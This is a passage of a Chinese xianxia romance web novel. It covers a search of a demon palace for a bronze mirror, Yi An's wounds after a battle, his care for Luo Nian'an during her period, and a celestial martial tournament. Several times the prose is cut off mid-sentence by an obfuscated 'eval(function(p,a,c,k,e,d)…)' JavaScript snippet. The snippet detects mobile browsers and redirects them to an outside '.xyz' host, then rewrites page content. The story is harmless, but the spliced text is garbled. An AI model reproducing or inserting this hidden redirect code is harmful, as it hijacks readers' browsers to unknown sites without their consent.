他们一路向前，穿过一间间木屋，越往魔宫靠近，妖鬼越多，一条条群妖群鬼聚集的街道摆着大大小小的摊子，竟也形成了一个个集市。而最热闹的，当属魔宫前的那一条街。 洛念安穿梭其中，她好奇四下张望着，扭头看向易桉，笑道：“这里竟也不比你那鬼市差。” 易桉扬了扬唇：“魔道始祖的地盘，名不虚传。” 他们齐齐望向那座宏伟的黑色宫殿，又对视一眼，默契脚步一转，往人烟稀少处去了。 “姐姐，我们一路走来，见过的妖鬼不下千只。” 洛念安目视前方，接话道：“而他们每一个，容貌不一，各自忙碌。”她看向易桉，面露迷茫，“若是幻术，那操控此术之人一定法力高深，若非幻术......” 那他们就真的是逆转时空，回到了百年前的无量狱。 但这实在是太不可思议了。 “无论是什么，”易桉道：“那铜镜的主人，十有八九是颜无双。” 洛念安问道：“但是，她实力强劲到法术留存六百年而强盛不衰吗？” 易桉看向她：“不无可能，我们怎知当初她的实力究竟到了何种境界。”顿了顿，他道，“若那铜镜是她所创，破解之法应在她身上。” 洛念安看他：“要跟她打吗？” 易桉见她面露犹疑，笑道：“怎么？姐姐没信心吗？” 洛念安诚实道：“倒也不是，主要是没跟她打过，没底。你跟她打过吗？” 易桉轻笑一声，道：“我该去哪跟她打？” 也对，易桉现世时，颜无双已经被灭了。 洛念安垂下眸，片刻，又抬起看向易桉，道：“当年那一战，加上天帝共去了七位武职上神，虽说是战胜而归，但就连天帝也身负重伤。” 易桉俯下身来，正视着她，笑吟吟道：“姐姐放心，你我二人，抵那七个，绰绰有余。” 洛念安正因他突然的凑近而愣神，听见他继续道：“我不会让你有事的。” “嗯，”洛念安垂下眸子，睫毛颤动，弯唇笑着。她道：“只是我在意的从来都不是这个。” 易桉嘴唇微动，似是要说些什么，却没说出口。 因为，那座大门紧闭的宫殿忽然开了门。 他们的视线被吸引过去。 从殿内走出一位身着红衣，满身金饰的女子，再往上看去，她的容貌却隐藏在一张金面具之下。她一出现，满街妖鬼纷纷朝着她的方向趴跪在地，齐声高呼：“恭迎魔帝。” 他们口中的魔帝——颜无双在高呼声中拾阶而下，每一步都从容不迫。 见妖鬼跪倒一片，洛念安也赶紧拉着易桉原地蹲下，满街妖鬼都额头点地，并无人注意他们，以此也能蒙混过关。 颜无双在身后一众侍女的簇拥下往相反的方向走去。洛念安悄悄抬眸看去，盯着她身后的侍女看了半晌，轻轻蹙眉：“傀儡术？” 易桉收回视线，转而看向她，道：“她是此术创始之人。” 洛念安道：“竟然这样逼真，几乎辨别不出。” 易桉道：“此术与修为有关，传闻她巅峰时期所造傀儡与真人无异。” 洛念安闻言蹙眉，思绪飘荡，半晌，又转了回来：“你可还记得我们在玉兰观遇到的那只傀儡？” 易桉点头，道：“此术自她之后有的是人争相效仿，现在会的人不计其数，我也会。” 洛念安看过去，易桉对上她的视线，继续道：“上次那傀儡术并不高明，唯一的特点，是那施展术法之人了解姐姐。” “确实。”洛念安神情严肃：“还有那梦境，若非与我相熟之人，断不会轻易入我的梦。”她的视线落在那扇重新紧闭的大门上，道，“颜无双出去了，我们现在应抓紧时间想办法进去寻找那面铜镜。” 易桉顺着洛念安的视线看过去，握住她的手腕带着她起身，道：“走。” 他话音刚落，身后便撕开一道裂缝。 “等一下，”洛念安拉住易桉，抬眼看他：“你的虚空之境在这里可以竟使用吗？” 易桉点头。 洛念安接着道：“那，可以直接带我们出这无量狱吗？” 易桉无奈笑了一下，道：“此术确实可以缩短任何空间，但我们现下正困于过去的某段时间里。” 即便是幻术，也是重演着过去这段时间中发生的事情。 再现身时，他们正立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745305|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于魔宫内的某处不知名的角落。易桉大咧咧往出走，洛念安眼角瞥见有人出现，忙拉住他要躲，却发现两边都是石墙，避无可避。 洛念安有些心急，正绞尽脑汁想着办法，却见那傀儡人目不斜视，直直从他们面前经过。 洛念安：“......？” 易桉轻笑一声，凑过来低语道：“姐姐莫不是忘了隐身术？” 洛念安恍然大悟，对自己有些失语。也不知自己到底在紧张些什么，越忙越出乱子。 他们寻到最前面的那座宫殿，也就是之前发现铜镜的那座破败宫殿。悄声潜入，甫一进去，便被烛光晃了眼。这座殿几乎有一半的地方摆着烛架，上面燃烧着成千上万的蜡烛。 洛念安照直走到那座金光闪闪的宝座前，果然在后面的墙壁上，看见了悬挂于宝座之上的那面形状怪异的铜镜。 此时的铜镜内映照着点点烛火，连成一片，似由内而外散发着暖光。 洛念安拉着来到她身后的易桉拾阶而上，被座椅拦下脚步，立于铜镜之前。她的面庞照映在铜镜之中，而那铜镜却全无反应。她扭头看向易桉：“看来这个办法不可用。” 易桉望着那面铜镜：“如此，便只能打了。” 洛念安的视线也落在那铜镜之上，她望着镜内照出来的轮廓，片刻后，点头道：“好。” 易桉忽然道：“走吧。” 洛念安微微一愣：“去哪？” 易桉笑了笑：“找地方休息，顺便等她回来。” 洛念安眨了眨眼：“我们……不在这里等她吗？” 易桉已经转了身子：“姐姐劳累许久，此战并不轻松，先休息休息。” 其实洛念安并不觉得累，但易桉话说到这份上，她觉得找个地方休息也没什么，反正，颜无双现下也不知去了哪里，何时回来。 “那好，我们走吧。” 这下再认真逛那集市，才发现此处茶楼、饭馆、赌场、客栈甚至烟花之地应有尽有，街道两旁摊贩遍布，竟与人间集市没什么两样。但是有些混乱，街上群魔乱舞，一言不合就磨刀霍霍，血洒当场。 易桉寻了一处环境尚可的客栈，开了间上房，叫人送了些茶水和能吃的点心上来。 洛念安正凑在窗边看下面的热闹，这个举起砍刀那个又亮了剑，她本以为只是互相吓唬吓唬，结果真的互砍了起来。她蹙起眉头，默默缩回脑袋，顺便关上了窗子。回到位子上坐下，接过易桉递来的茶水，洛念安还真有些渴了，埋头喝了几口，将杯子放在桌上，正准备自己续，易桉却已经端起茶壶。她怔了怔，微微一笑，道：“还是你那鬼市管理有序。” 易桉笑道：“不若又怎敢邀姐姐前去？” 洛念安一口气喝完了第二杯茶，才弯唇笑了笑，思索片刻，道：“等她回来，我们……”她脑中的战术忽然僵住了，于是停了下来。 易桉看向她，轻声问道：“我们如何？” 洛念安晃了晃脑袋，继续道：“我们……”她呆呆看向易桉，“我，好像有点困了。” 话音一落，她发现眼前的易桉都出现了重影，想来是真的困极了。 对面的易桉站起身，来到她身边，伸手扶住了她。洛念安闭眼之前，听到身侧之人柔声道：“困了就睡吧，我会带你回去。” 何意？ 未知。 洛念安挣扎着想问他，奈何眼皮实在沉重，撑不住，意识消散了去。 46. 身负伤但护君无恙 等洛念安再次睁眼，第一眼见到的是头顶的月光纱帐。 安乐殿？ 第二眼便是凑过来查看情况的叶蓉。 叶蓉见状展露笑颜：“洛姐姐，你醒啦。” 洛念安脑中本就昏沉，见到她更是僵住，如同上了锈的机关，好半晌，才缓缓转动，转至一定程度，她猛地坐起身：“小桉呢？” 叶蓉上来扶她的手一顿，目光四下游移，开口道：“王……他现下有事要处理。” 洛念安眸光锐利，落在她面上，又移开，温声道：“说实话。” 叶蓉本打算去端榻边煲好的汤给她喝，闻言愣了一下，直起身子，诚实道：“王他受了点伤。” 洛念安立马掀开被子翻身下床。 独自与颜无双一战，还将她带回鬼城，恐怕不止是受了点伤。 叶蓉拦她不住，只能随她去了。 洛念安虽从未踏足过易桉的寝殿，却早知其方位。两殿虽间隔不远，但她还是一路奔跑着前行。易桉的寝殿大门紧闭，她抬手敲了两下门，不等里面做出反应，便推门而入，快速绕过屏风，下一刻便与赤着上身趴在榻上的易桉对上视线。 见到来人，孔玉处理伤口的动作顿住。 易桉似乎怔了怔，随即扬起笑：“姐姐醒了。” 洛念安的视线落在地上染满鲜血的纱布上，久久无法移开。好半晌，她才重新看向易桉，往前走了几步，他手臂上已经缠好了纱布，纱布上沾着渗出的鲜血。后背有几道伤痕，很深，出了很多血，将他后腰间的墨色玉兰花染成妖冶的红色。左肩膀处甚至有一处贯穿伤，应是被利剑刺穿。 洛念安的心都漏跳了几拍，又急又气，正欲开口，便听见易桉道：“是我的错，姐姐怪我吧。” “……” 孔玉处理伤口的手再次顿住：“？” 他这样说，洛念安还怎么会怪他，只是道：“太危险了，我知你厉害，但是我们俩加在一起的力量肯定更胜一人啊，你看你受了这样重的伤……” “知道了姐姐，下次不会了。”易桉的语气竟有几分乖巧。 等一下，好像有哪里不太对劲。 洛念安愣了一下，到底还是没想通到底是何处不对劲。 那边易桉微微偏头，侧眸看向孔玉。孔玉收到指示，站起身道：“哦，我想起隔壁王大婶今日要杀猪，我得去帮忙按猪了。” 易桉：“……” 洛念安：“……啊？” 孔玉起身给易桉行礼，弯腰收拾了一下地上的狼藉，又走过来对她微微颔首，没有一丝犹豫地离开了。 他走得干脆，洛念安便自觉上前为易桉处理伤口。 易桉道：“劳烦姐姐了。” 洛念安望着他身上触目惊心的伤痕，上药的手都在微微颤抖。闻言，她道：“你不也是与我这样见外。” 易桉轻轻笑了笑。 洛念安双捷颤动，声音轻柔：“疼吗？” 易桉道：“不疼，小伤。连修养都不用，马上就能下地。” 洛念安道：“你也急着去帮忙按猪吗？” 易桉笑了笑：“什么猪需我亲自去按？” 洛念安也笑：“可能是年猪吧。” 她的视线落在易桉的脊背上，发现他的后背除了这次的伤痕，还有许多细小的伤疤，不靠近仔细看根本看不出来，应是一些陈年旧伤，这样的分布，似是……鞭痕。 这是何时的伤？ 生前吗？ 他受过鞭刑？ 洛念安抿紧双唇，并不言语，只是继续一丝不苟地处理伤口。 她没法想象，易桉独自战胜颜无双，拖着这样的伤势还能将她带出无量狱。 真是不知叫人说些什么好。 “可以起来吗？我替你缠上纱布。” 闻眼，易桉双臂一撑，背对着她坐起身子。 他胳膊上渗出的血迹更多，洛念安心下一紧：“小心些。” 她忙凑上前去想要检查一下那处的伤势，易桉却猛地往右侧过脸去。 洛念安微微一怔，立马反应过来他应该是没戴面具。她停下动作，又转身去拿绷带，将其轻轻覆盖在他的皮肤上，绕了半圈，手伸至易桉身前，他便接过绷带，又饶了回来，如此反复，后背上的伤势算是处理完了。 接下来便是左肩膀处的贯穿伤，洛念安处理后面的伤口。易桉便偏过头，长臂一伸，拾起了另一瓶药，随意往身前的伤口处撒上伤药。等伤势都处理好，洛念安转过身子，去看放置在端盘中银碗内的东西。她本以为是药，没想到只是一碗热汤。她端起那碗汤，再转身时，易桉已经披上里衣卧坐在床头，右侧面颊依旧隐于面具之下。一束长发揽至左肩，似乎遮挡了什么。 洛念安怔了怔，端着小碗走上前去，坐在他身侧，看向他道：“喝点汤？” 易桉点头，道：“但是我胳膊疼，抬不起来。” “......”刚刚撑起身子时不是挺有劲的？ 洛念安抿唇笑了笑，银勺在碗中轻轻搅动一番，舀起一勺热汤，轻轻吹了吹，才送至易桉唇边：“小心烫。” 易桉眼中尽是笑意，吞下那勺热汤，道：“好喝。” 洛念安笑了笑，继续舀第二勺汤，道：“那就多喝些。” “姐姐，”易桉望着她，忽然出声道：“赫连昭生病时你这样照顾过他吗？” 洛念安微微一怔，有些不明所以，却还是道：“没有啊，他生病有专人照顾。” 闻言，易桉“嗯”了一声，声调中明显透着愉悦。 不知他为何高兴，但见他笑着，洛念安也跟着笑，将第二勺汤送至他唇边。 易桉将一碗汤喝完，对她道：“‘火’阵眼的封印已经加固，姐姐尽可到神界交差。” 洛念安将汤碗放置一边，转身过来看向他，双眸睁大：“你是说，你只身一人战胜了颜无双，将我带出无量狱甚至还加固了‘火’阵眼的封印？” 易桉眉头高挑，只笑着望她。 洛念安抿唇，半晌，道：“你这样，显得神界真的很弱。” 易桉笑了笑，道：“类似的话我似乎早就说过。” 洛念安微微一笑，又觉得庆幸：“还好是你，若是出了第二个颜无双，神界真真是要头疼了。” 易桉随意理了理衣袖，漫不经心道：“他们是该庆幸，不过依我看，好脸色给太多，神界都快要分不清大小王了。” 洛念安歪头看他：“何意？” 易桉抬眸，望着她笑了笑：“没什么，单纯看不惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛念安看过去，轻轻蹙眉：“嗯？我吗？” 叶蓉无奈道：“洛姐姐不会真以为王上是因为那碗汤高兴吧？” 洛念安道：“不是吗？我看他很喜欢喝汤。” 叶蓉抬手扶额，扶了一会儿，叹道：“碰到你之后，王上应该没有再碰过什么壁了。” 一句话听得洛念安云里雾里，实在不懂，便也不多纠结，继续思考做什么汤去了。 最终，她熬了一锅蘑菇汤，长的短的粗的细的统统放了进去，又加了些牛肉。 盛出来后，洛念安期待地看着叶蓉，问道：“怎么样？” 叶蓉望着那碗汤面露难色，艰难道：“看着还不错。”她又沉默片刻，转身迈出小厨房，边走边道，“我去找孔玉提前准备些解药。” 洛念安当然也知道那些蘑菇里可能有毒，于是自己先尝了一碗。 结果中毒了。 孔玉准备好的解药也真的派上了用场。 洛念安强按着两人不让他们告诉易桉。 但是由于中午没去送汤，易桉一问，孔玉立马全部招了，说话完全不算话。 于是，洛念安在安乐殿的小厨房暂时被贴上了封条。 47. 温温情暖得月月事 洛念安成功保住了神职也保住了叶蓉。在易桉那处叨扰五日，见其伤势大好，她便带着叶蓉回了玉兰观。 易桉来时，只见到叶蓉躺在树下的躺椅上嗑瓜子，小屋木门紧闭。 叶蓉见到来人，忙起身行礼，道：“洛姐姐她今日来了月事，身子不舒服，在床上躺着呢。” 易桉闻言，又转身离开了。 叶蓉蹙着眉，一头雾水地坐了回去。 大约一刻钟后，易桉再次从虚空之境内现身，不过此时，他手上提了个食盒。一现身，他便径直走向小屋，抬手轻轻推开房门进去。 洛念安本也睡不着，只是躺着会舒服些。见有人进来，便睁眼去看，见到来者是易桉，她微微一愣，作势要起身：“小桉？” “姐姐不必起身。”易桉走上前来将食盒放在床边的小桌上，又去搬了张椅子坐在床边。 洛念安还是撑起身子，好奇望向旁边的食盒：“这是什么？” 易桉伸手将其打开，端了一碗暗红色的热汤出来，又从下面拿出一个布包，递给她道：“艾草包，热的，姐姐放在小腹处捂着应该会好受一些。” 洛念安伸手接过，惊讶地睁大双眸，顿了顿，艰难道：“你......知道我现在......啊？” 易桉看着她面颊渐渐爬上红色，扬唇笑道：“这不是每个女子都会经历之事吗？有何不可说？” 洛念安又躺了回去，将艾草包贴着小腹放着，另一只手默默将被子拉高，盖住大半张脸，只留一双眼睛在外面东看西看，说话的声音闷闷的：“话虽如此，但总还是有些不好意思。” 易桉望着她，声音都柔了几分：“习惯习惯，便不会觉得不好意思了。”他转而端起那碗汤，道，“我煮了些红糖姜汤，姐姐趁热喝了。” 洛念安依旧捂着被子，看了看他手上的银碗，又看了看他，不禁纳闷道：“你为何会知道这些？” 易桉笑了笑，道：“因为我用心。” 洛念安忍不住弯唇，坐起身子，接过易桉手上的碗，舀起一勺送入口中。她惊喜挑眉，看向易桉：“这是你第一次煮吗？味道很好，甜味和辣味中和的很好。” 易桉道：“不是。” 第二勺红糖姜汤瞬间变得苦涩起来，洛念安垂下眸，转念一想，他肯定也为自己的母亲煮过。如此一来，第三口汤便又甜了许多。一碗汤喝完，易桉催着她在床上躺好，伸手替她掖了掖被子。 洛念安只露了一颗头在外面，眨着眼看着他：“你要走了吗？” 易桉收拾好东西，闻言摇头：“陪陪你。” 洛念安弯唇笑了笑，又问：“你的伤好了吗？” 易桉道：“好了。” 洛念安：“王大婶家的猪杀完了吗？” 易桉：“......应该，杀完了。” 洛念安：“你的伤真的全好了？” 易桉笑了笑：“嗯，全好了。” 洛念安：“下次不可以再这样了，不然我就......” 就什么呢？不知道。小腹处的温暖抵消了许多疼痛，暖意向四处蔓延，舒服到她的思绪都一动不动，停在原地睡着了。 易桉在屋内坐了许久，久到太阳西斜，叶蓉嗑瓜子磕得嗓子冒烟。 她忙给自己倒了杯水润润嗓子，全然没注意到已经走到身边的易桉。 “她日子不准，若是下次我没赶上，你就按着这单子煮些汤她喝。” “噗——”叶蓉一口水还没到嗓子眼，闻言尽数喷了出来。她瞬间起身，抬手胡乱擦了擦嘴巴，连声道：“抱歉抱歉。”然后拾起易桉放在桌子上的单子，扫了一眼，还是很震惊，实在忍不住道，“洛姐姐日子不准这事儿您都知道？” 易桉将一包红糖和着另一包东西一起放在桌上，双眸未抬：“她有何事是我不知道的？”说罢，他身后的空气裂开缝隙，转身踏入之前，他道，“她睡下了，你若要吃饭，去找孔玉。” “是，”叶蓉对着他的背影行礼：“王您慢走，下次再来哈。” 送走易桉，叶蓉重新坐下来，总算是好好喝完了一杯水。视线一转，落在牛皮纸边的黑金色布包上，她顺手拿起来，很沉，打开往里看了一眼，猛地一愣，须臾，她笑着将布包放下，哼着小曲儿，坐回椅子上翘着二郎腿道：“这日子真是越过越好咯~” 洛念安这一觉竟睡到了第二日早。 叶蓉站在灶台边，扭头看过来：“洛姐姐，你醒啦。巧了，我刚做好红糖姜汤，起来喝点吧。” 这一觉睡得极沉，以至洛念安坐在床头，脑袋发懵，半晌才反应过来，出声应下。她掀开被子准备下床，视线一扫，在桌上顿住。她停下动作，伸手去拿放置在床边桌上的卷轴，打开看了一眼。 叶蓉端着热汤转身，见她一只脚落地，另一条腿还在被窝里，正看着手里的东西傻笑，好奇问道：“看什么呢？” 洛念安抬眸看了她一眼，又落在卷轴上，道：“上次在小桉那里看到他创的术法秘籍，本想再借来看看，学习一下，没想到他重新写了一份更详细的。” 叶蓉走上前来，将碗放在小桌上，又看向昨日就放在这里的一个布包，道：“这个应该也是王上昨日放这里的，这里是什么？” 洛念安的目光移过来，将手里的卷轴放下，伸手拿过那个布包，打开看了一眼，愣住，片刻后迅速合上布包，甚至将它团了团。 见她的反应，叶蓉更好奇了：“什么东西啊？”她看向洛念安，眨了眨眼，“怎么脸红成这样？” 洛念安看向她，抿了抿唇，然后将那个布包打开给她看。 叶蓉凑过去看了一眼，双眸大睁：“月事布？！” 洛念安点头，很是难为情。 叶蓉把东西拿出来看了看，啧啧叹道：“肯定是担心你现在用的不好，这这这，我虽然活得不久，但死了那么久我真的第一次见王上这样关心女子月事的男人，他昨日离开时还叮嘱我煮红糖姜汤给你喝。我几百年没来过月事了，就是之前也从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765876|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这几日喝过红糖姜汤，故而也不懂，王竟然懂。”她在床边的椅子上坐下，手里还举着一块月事布，胳膊肘支着床沿，凑过去盯着洛念安看，“洛姐姐，你怎么看？” 洛念安整张脸都要涨成番茄色，她伸手将那块月事布拿过来塞进布包里，垂眸思索半晌，认真道：“我觉得小桉应该是十分孝顺的。” “......”叶蓉胳膊肘一滑，差点栽倒在地上。她嘴角抽了抽：“......孝顺？” 洛念安点头：“肯定是此前体谅过母亲每月来月事的辛苦，才懂得这么多的。” “......”叶蓉长长吸了一口气，憋了半晌，叹道：“看来王上这个壁还有的碰。”她说着，站起身，拍了拍身上不存在的灰，然后道，“罢了，这汤记得趁热喝。” 洛念安虽不懂她为何这样反应，但还是笑道：“辛苦你啦。” 叶蓉道：“不辛苦，工钱那么高，实在是辛苦不起来。”说着，她掏出那袋金子，往天上抛了抛，伸手接住，喜滋滋对洛念安道，“一整袋，黄金哦。” 洛念安问道：“小桉给的？” 叶蓉道：“是啊，王简直太客气了，一声不吭留了这么大袋子钱，有钱人就是不一样。正好，我就喜欢等着天上掉馅饼，然后张嘴接住。” 洛念安歪头看她：“为何我给你你就不要？” 叶蓉道：“傻呀，自己家掉的馅饼接什么接，当然是要接旁人丢的了。”她转身坐在自己的床铺上，颇有架势道，“洛姐姐，最近神界再给你派什么难做的活儿你就给推了，我养你。”顿了顿，她又道，“等这些花完了你再接。” 闻言，洛念安笑得眉眼弯弯，点头道：“好，不过神界真的很少给我派任务，我能拒绝的机会真是少之又少。” “管他呢，”叶蓉身子一歪，躺在床上：“没活儿还乐得自在呢，搞得好像谁很乐意给他干一样，我们现在也不缺那点钱。” 有钱能使鬼推磨，有钱能使鬼翻身。 洛念安拒绝任务的机会没等来，倒是等来了神界比试大会。武职上神一般称之为比武大会，美其名曰互相切磋，共同进步。 文职上神那边自然就是舞文弄墨了，不过具体战况如何这边不甚关心。 比武大会，上仙也可以参加，抽签决定，两两比试，最终胜出者可以获得与上神比试的机会，由胜出者决定与谁比试。 而神界如今仅剩的七位武职上神，除却洛君逸，剩下六位也是两两对打，最后胜出者，奖功德十万，另获得与中天紫微大帝比试机会，比试结束即比武大会结束。 洛念安睁大眼睛：“十万功德？” 柳渊见她两眼放光顿觉不妙。 第一场比试，抽签开始，抽中数字相同者互相比试。 赫连昭抽中“壹”，柳渊抽中“贰”，洛念安抽中“叁”。 柳渊两边看了一眼，叹道：“我去了，我们三个完美错开。” 洛念安微微一笑，道：“那就第二场比试见。” 48. 众神之战崭露锋芒 按照抽签顺序，赫连昭组第一个上前比试，其余上神坐于高台上观战。周围看热闹的不少，里三层外三层围在一起。 洛君逸一家人也坐于高台中央观战。 洛念安的视线始终落在下面的圆台上，关注着台上的战势。 柳渊坐在她身边，中间隔了一张圆桌，他随手拾起一颗蟠桃，边啃边问道：“念将军，你觉得谁会赢？” 洛念安抿了口茶，道：“对方实力不详，我也不知。”顿了顿，她道，“我第一次参加这个，上一届是谁与天帝一战？” “上一届？”柳渊回忆了一下，道，“白锦......现在应该说是白衡，这种比试嘛，一局定胜负，实力是一方面，运气也是一方面。一年一届，几乎谁都站到过最后。” 洛念安甚觉有理，点头道：“也是。” 大约一炷香后，赫连昭的剑锋直指对方喉咙处，一场结束，赫连昭胜。 在喝彩声中，赫连昭直奔高台，往这处奔来，看向洛念安道：“师父，我打得怎么样？” 洛念安将一杯茶水推向他，微微一笑道：“挺好的，出去不要说你是我教出来的就行。” 赫连昭：“……” 洛念安看向他，温声道：“我看不懂你在急什么，急着输吗？中间打得乱七八糟，毫无章法，要不是有几分底子，你必输无疑。” 柳渊惊呆了，视线在两人身上来来回回。 赫连昭被说得大气不出，甚至有些唯唯诺诺，道：“是，我记住了。” 洛念安点点头，又笑着望向他，道：“总体还是很不错的，去好好歇着吧。” 她轻飘飘一句话，赫连昭立马咧嘴笑了，抬手抓乱头顶上的黄毛，道：“好。” 柳渊看向坐过来的赫连昭，带着几分同情道：“她对你一直这样严厉吗？” 赫连昭瞥向他：“你懂什么？严师出高徒。” 柳渊一个白眼翻上天，恨不得给自己一嘴巴：“真是说轻了，就该好好骂骂你。” “还在这说，该你上场了。”赫连昭也不甘示弱地白回去，“别到时候我们三个就你一个人输。” 柳渊边起身边道：“放心，第二轮绝对打得你哭爹喊娘。” 赫连昭斜眼看他：“真能吹。” 两小儿吵架。 洛念安无奈摇摇头，觉得今日的茶水甚是好喝，不过比易桉那里的还是差了些。 赫连昭挤到柳渊的位子上，看着圆台上的战况，问道：“师父觉得柳渊实力如何？” 洛念安道：“柳将军身为身经百战的将领，洞察能力一绝。这不，他已经找到对方的破绽了。” 她话音落，喝彩声四起。 柳渊战胜而归，满脸得意：“怎么样？” 赫连昭：“很一般。” “嘶——”柳渊正欲怼他，忽然注意到另外一点：“你坐我的位子干什么？！” 赫连昭面不改色：“写你名了？” 柳渊作势要上来拉他：“先来后到这个道理还用我教你吗？” 他们在那里拉拉扯扯吵吵闹闹。洛念安淡定起身，弯腰从麻袋里掏出两截长枪将其拼好，道：“我东西就放这里了，帮我看一下。”然后也不管他们听没听到，转身走下台阶，登上比试圆台。 一刻钟后，龙吟直抵对方喉咙，鼓声起，洛念安胜。鼓声落，四周鸦雀无声。 众神面面相觑，嘴上虽不出声，眼中却早已道尽千言万语。 “好！！！打得漂亮！”柳渊的喝彩声伴随着掌声打破沉寂。 洛念安抬眼望去，他们两个正站起身为她鼓掌。从他们的位置可以看出，抢位之争，柳渊败。 在他们的带领下，四面才响起稀稀落落的掌声，与前两次相比相差甚远。 洛念安倒是不甚在意，转身往高台上走去。 柳渊对着她狂竖大拇指：“太厉害了念将军，又快又狠！” 洛念安将龙吟置于一侧，喝了几口赫连昭递来的茶水，谦虚笑道：“过奖过奖。” 柳渊这会儿还龇牙傻笑，一刻钟后便笑不出来了。 第二轮比试，第一场柳渊就对上了洛念安。 对面一杆长枪劈下，震得举剑格挡的柳渊双手发麻，他目露震惊：“念将军，你玩真的啊？” 洛念安微微一愣，道：“那可是十万功德呢。” 第一场结束，洛念安胜。 面对赫连昭幸灾乐祸的嘴脸，柳渊道：“没办法，念将军实在是重财轻友。” 赫连昭撇嘴：“菜就多练。” “技不如人，我认了。”柳渊看向他，忽然笑得不怀好意：“我看你待会还能不能笑得出来。” 赫连昭无所谓道：“那咋了，反正和师父打我从来没赢过。” “说不定这次就赢了呢？” 闻言，赫连昭愣了愣，看向洛念安。 柳渊立马凑到她身边，叮嘱道：“念将军，你可不能放水啊，那可是十万功德呢！” 水肯定是不会放的。 洛念安的话成功燃起了赫连昭的斗志，只是燃了没一会儿，就被从头到脚浇得一点火星子都不剩。 洛念安安慰道：“说不定下次就赢了呢？” 赫连昭笑了一下，道：“没事的师父，不用安慰我，输给你我心服口服。” 洛念安看向他：“因为你从心底里觉得打不过我，所以你永远都赢不了。” 赫连昭看过去，抬手抓了抓头发，犹豫半晌，小声道：“可是......这是事实啊。” “......”洛念安沉默片刻，笑了笑，道：“总有一日，会打过的。” 赫连昭将头顶的毛抓的更乱了，他懵然道：“什么时候？” 柳渊不知道从哪冒出来的：“下辈子。” 赫连昭：“......” 柳渊又嘻嘻道：“哦我忘了，你飞升了，已经没有下辈子咯。” 见他们要吵，洛念安出声道：“各位，十万功德到手，我请你们吃饭。” 柳渊立马接道：“那我要大吃一顿。” 洛念安笑道：“可以可以。” 柳渊道：“还要喝好酒。” 洛念安点头：“好说好说。” 柳渊：“还要......” 赫连昭觉得忍无可忍无须再忍：“要你个头啊，天上星星摘下来给你要不要？没完了还。” 洛念安还是没能阻止这番争吵，便随他们去了。 她不经意间往高台上看去，正与洛君逸对上视线。他望着她，嘴角勾起一抹弧度。洛念安微微颔首，她也看不清洛君逸眼神中到底是怎样的情绪了。 欣慰？赞许？ 分不清。 不过念清漓那记白眼倒是很明显。 洛念安自觉忽视，坐上椅子，琢磨着要不要吃个桃子，正欲伸手，忽然听见下面有人小声道：“放水了吧？” 在场的听力哪个不胜于常人？闻言后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“行了。”闹到最后，洛君逸终是出声道：“到此为止，上仙比试尚未结束，回去继续。” 上神间的比试，一上午时间便告一段落。但由于神界上仙众多，便只能等那边分出胜负，再迎来落幕之战。 洛念安下场时呼吸不乱，这一场打得可谓是酣畅淋漓，她整个人看着甚至精神了许多。 柳渊摇扇给她扇风：“念将军，累了吧？” 洛念安笑着摆手：“不累不累。” 赫连昭递上茶杯：“师父，喝水。” 洛念安伸手接过杯子：“多谢多谢。” 赫连昭热情邀请她晌午到他殿中吃饭，柳渊厚着脸皮要去蹭饭。 几人愉快做了决定，准备和洛君逸打声招呼就离开。 “长姐。” 洛念安敛了笑意，闻声扭头，看向从高台上走下来的洛霁禾，听见他道：“我可以和长姐比试比试吗？” “云祉殿下，”洛念安出声道：“我如今大抵是担不起殿下一句‘长姐’了，若殿下想与我比试，可以先到隔壁参与众上仙的比试，待殿下拔得头筹，我自乐意与殿下比试一番。” 闻言，洛霁禾嘴角向下，显然是不太高兴了。他又没别的法子，只能扭头看向念清漓。 念清漓又看向洛君逸。 洛君逸却道：“云祉，不得胡闹。” 洛念安微微一怔，往上看去，对着他微微颔首，转身迈下台阶。 49. 战天帝惊觉似故人 “说来也怪。”柳渊摇着扇子，蹙着眉。 赫连昭接话：“怪什么？” 柳渊瞟了一眼洛念安，继续道：“这云祉殿下，快五百岁了吧？至今都未有飞升的迹象，甚至他的资质在上仙里都不算是突出的，更遑论拔尖了。” 闻言赫连昭也飞快地瞟了洛念安一眼，又往四周看了看，低声道：“胡说什么呢？“ 柳渊道：“没胡说啊，说的实话。” 赫连昭不接他的茬。 洛念安却道：“也许是平日不太用功。” 柳渊闻声摇头，显然不太赞同，他道：“你我皆知，这件事情，用功是一部分，但更重要应该是天赋吧。传闻帝君年少修行能一日千里，念将军你的天资也不必多说，但是我看云祉殿下……”后面的他没说，但在场的都懂。 